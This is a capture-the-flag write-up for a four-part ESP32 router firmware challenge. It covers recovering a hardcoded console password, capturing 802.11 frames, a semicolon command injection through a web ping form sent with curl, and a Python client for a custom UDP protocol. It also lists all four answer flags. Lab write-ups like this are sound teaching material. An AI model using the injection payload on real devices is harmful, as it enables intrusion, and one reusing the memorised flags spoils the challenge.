ESPILON-CTF-2026-Writeups/ESP/Jnouner_Router
2026-03-26 17:33:18 +00:00
..
README.md write-up: ESP/Jnouner_Router/README.md 2026-03-26 17:33:18 +00:00

Jnouned Router

Field Value
Category ESP
Difficulty Multi-part (Easy to Hard)
Points 100 / 200 / 300 / 400 (4 flags)
Author Eun0us
CTF Espilon 2026

Description

The CERT-CORP intercepted a strange firmware from an unknown router model built by the shady JNouner Company.

Analysts found it targets an ESP32-based prototype, but the system is protected by a locked UART console.

Flash the firmware, break into the system, and work your way through every layer of this device.

Format: ESPILON{flag}


TL;DR

Four-part progressive challenge on an ESP32 router firmware. Break the UART password, sniff 802.11 frames in monitor mode, exploit a command-injection in the web admin panel, then reverse a custom UDP protocol (JMP) to exfiltrate the final flag.


Tools

Tool Purpose
esptool.py Flash firmware
screen / minicom UART console access
airmon-ng / tcpdump 802.11 monitor mode capture
curl Web admin POST injection
Python 3 + socket + struct + hashlib JMP protocol client
strings / Ghidra Firmware static analysis

Flags Summary

Flag Name Points Value
1/4 Console Access 100 ESPILON{Jn0un3d_4dM1N}
2/4 802.11 TX 200 ESPILON{802_11_tx_jnned}
3/4 Admin Panel 300 ESPILON{Adm1n_4r3_jn0uned}
4/4 JMP Protocol 400 ESPILON{Jn0un3d_UDP_Pr0t0c0l}

Solution

Setup — Flash the firmware

esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
    0x1000  bootloader.bin \
    0x8000  partition-table.bin \
    0x10000 jnouned_router.bin

Open the UART console:

screen /dev/ttyUSB0 115200

📸 [screenshot: UART console showing jnoun-console> prompt]


Flag 1 — Console Access (100 pts)

The UART console presents a jnoun-console> prompt requiring a password.

Inspect admin.c in the firmware source (or run strings on the ELF) to find build_admin_password(). The password is assembled from three parts:

p1 = "jnoun-"
p2 = "admin-"
p3 = "2022"
→ password = "jnoun-admin-2022"
admin_login jnoun-admin-2022

Flag 1 is printed on success.

📸 [screenshot: successful admin_login command printing Flag 1]


Flag 2 — 802.11 TX (200 pts)

From the admin console, read device settings:

settings

The output reveals WiFi credentials (XOR-obfuscated with key 0x37 in wifi.c):

  • SSID: Jnoun-3E4C
  • PSK: LAIN_H4v3_Ajnoun

Trigger the 802.11 data-frame flood for 90 seconds:

start_emitting

Put your WiFi adapter into monitor mode on the same channel and capture frames:

airmon-ng start wlan0
tcpdump -i wlan0mon -w capture.pcap
# or
tshark -i wlan0mon -w capture.pcap

Among the random noise frames, one frame emitted at a random time (585 seconds) contains Flag 2 as cleartext in its 802.11 data payload.

📸 [screenshot: Wireshark frame showing Flag 2 in the payload field]


Flag 3 — Admin Panel (300 pts)

Connect to the WiFi AP (Jnoun-3E4C / LAIN_H4v3_Ajnoun). The router hosts an HTTP server at http://192.168.4.1.

Log in: admin / admin.

The /admin page has a "ping" form posting to /api/ping. A hint on the page reads: "Parser séparateur ';'" — the internal shell splits commands on ;.

Inject via the target field:

curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
    -d "target=x%3B+flag"

Decoded: target=x; flag

Flag 3 prints to the UART console via ESP_LOGE.

📸 [screenshot: UART console showing Flag 3 output after injection]


Flag 4 — JMP Protocol (400 pts)

Trigger the exfiltration session via the web injection:

target=x; start_session

The UART console leaks:

JMP Server listening on UDP:6999
PROTOCOL INITIALIZATION LEAK:
  Magic: 0x4A4D5021
  Auth hash (SHA256): <hash>
  Hint: Secret pattern is JNOUNER_SECRET_XXXX

The secret is JNOUNER_SECRET_EXFILTRATION. Authenticate with its SHA256 hash, then request all data blocks:

import socket, struct, hashlib

HOST = "192.168.4.1"
PORT = 6999
MAGIC = 0x4A4D5021
SECRET = b"JNOUNER_SECRET_EXFILTRATION"

secret_hash = hashlib.sha256(SECRET).digest()

# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32)
auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(auth_pkt, (HOST, PORT))

# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4)
resp, _ = sock.recvfrom(1024)
magic, ptype, status, token = struct.unpack(">IBBI", resp[:10])
print(f"Token: 0x{token:08x}")

# Request all blocks
flag = b""
for block_id in range(10):
    # DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1)
    req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id)
    sock.sendto(req, (HOST, PORT))
    resp, _ = sock.recvfrom(1024)

    # DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2)
    if len(resp) < 8:
        break
    _, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8])
    data = resp[8:8+dlen]
    flag += data
    if bid + 1 >= total:
        break

print(flag.decode())

📸 [screenshot: Python JMP client printing the final flag after block reassembly]


Flag

  • Flag 1: ESPILON{Jn0un3d_4dM1N}
  • Flag 2: ESPILON{802_11_tx_jnned}
  • Flag 3: ESPILON{Adm1n_4r3_jn0uned}
  • Flag 4: ESPILON{Jn0un3d_UDP_Pr0t0c0l}